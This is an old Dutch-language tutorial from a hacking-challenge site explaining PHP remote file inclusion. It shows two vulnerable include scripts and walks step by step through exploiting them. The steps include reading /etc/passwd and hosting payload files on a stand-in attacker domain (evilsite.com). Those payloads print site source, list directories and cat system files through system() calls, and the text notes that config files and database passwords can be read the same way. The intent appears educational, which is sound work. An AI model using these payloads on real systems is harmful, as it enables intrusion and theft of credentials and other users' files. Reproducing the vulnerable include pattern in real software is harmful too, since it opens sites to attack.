Skip Navigation

Login





Join! | Login troubles?

Online members

Guests:3
Members:1

damned32 chals

Poll

What's your favorite scripting language for solving challenges?


python (12.4%)

perl (9.2%)

bash (3.2%)

ruby (1.9%)

php (37.5%)

javascript (13.0%)

I'm not convinced scripting saves time, I use a "proper" language for everything I do. (15.6%)

Scripting? Excel for the winners, man! (7.3%)


Total votes: 315
Date added: 2008-06-14

View text

Info
Author BasTijs
Date added 2002-11-12
Last modified 2002-11-12


PHP Include Exploit

PHP Include Exploit -- Door BasTijs, bastijs@net-force.nl

Op meerdere nederlandse sites wordt gebruikt gemaakt van een slecht beveiligde include script. Dit is al een bekende bug
maar wordt nogsteeds teveel toegepast. Het script is meestal erg lek en is simpel te exploiten.
Via de exploit kan remote een php script uitgevoerd worden....

Het script er ongeveer zo uit:

index.php:

*1

<?

If(IsSet($pagina)){
  include("$pagina");
}

?>

Het kan ook zo:

*2

<?

If(IsSet($pagina)){
  include("$pagina" . ".php");
}

?>

Via deze manier is het simpel voor de webmaster om bijvoorbeeld contact.php te laten zien op de hoofdpagina:

http://www.site.nl/index.php?pagina=contact.php

Maakt de site gebruik van het include script nummer *1 dan is het mogelijk om elke pagina op de site te includen,
het gevaar hiervan is dat ook bestanden als /etc/passwd en andere files bijv bestanden van andere gebruikers als
de host geen gebruik maakt van PHP safe_mode!

Het exploiten van het script kan ook nog op een andere manier, namelijk via een andere website. Hiervoor moeten we
eerst zelf een bestand op onze website zetten( in voorbeeld http://www.evilsite.com )

bug.php

<?
echo "<?";
echo "show_source('index.php');";
echo "?>";
?>

Ok dit bestand plaatsen we op onze website => http://www.evilsite.com/bug.php
Dit script bevat een ruwe php code die de PHP source van index.php laat zien.

Nou gaan we dit script draaien via de website met het gevaarlijke include script:

http://www.site.nl/index.php?pagina=http://www.evilsite.com/bug.php

Zoals je ziet is het ons gelukt om via een andere website een PHP code uit te voeren op de website en hierdoor de PHP
source van index.php te lezen, natuurlijk is het ook mogelijk om config.php te lezen en database wachtwoorden te vinden!

Er zijn nog steeds servers in nederland die GEEN PHP safe_mode draaien.....hierdoor wordt deze exploit namelijk erg leuk.
Eerst veranderen onze bug.php in een script waar we wat meer mee kunnen ;)

bug.php

<?
echo "<?";
echo "system('/bin/ls');";
echo "?>";
?>

Ok draai het script: http://www.site.nl/index.php?pagina=http://www.evilsite.com/bug.php
Zo we hebben nu het systeem commando 'ls' uitgevoerd, dus je zal een mooie lijst zien met bestanden die zich allemaal in de
directory bevinden... je kan ook andere directories listen bijv '/bin/ls /home' of '/bin/cat /etc/passwd' browse eens een tijdje
rond, je zult merken dat je omdat PHP safe_mode niet aan staat ook toegang hebt tot de andere gebruikers op de server ;)

Sommige sites gebruiken het 2e include script(*2). Deze zet .php achter pagina dus zal dus zo contact.php bekijken.

http://www.site.nl/index.php?pagina=contact

Dit is dus niet meer mogelijk=> http://www.site.nl/index.php?pagina=/etc/passwd
Maar dit nog wel :D => http://www.site.nl/index.php?pagina=http://www.evilsite.com/bug

Je ziet dat ik hierboven .php weggelaten heb omdat het script het er zelf achter zet.

Natuurlijk vind je de exploit meestal niet in helemaal exact dezelfde staat, hij kan er ook zo uit zien:
- index.php?pagina=
- index.php?page=
- index.php?p=
- index.php?url=

Hopelijk was deze tekst een beetje leerzaam en zullen we in de toekomst minder van deze foute scripts tegenkomen.

BasTijs,
http://www.net-force.nl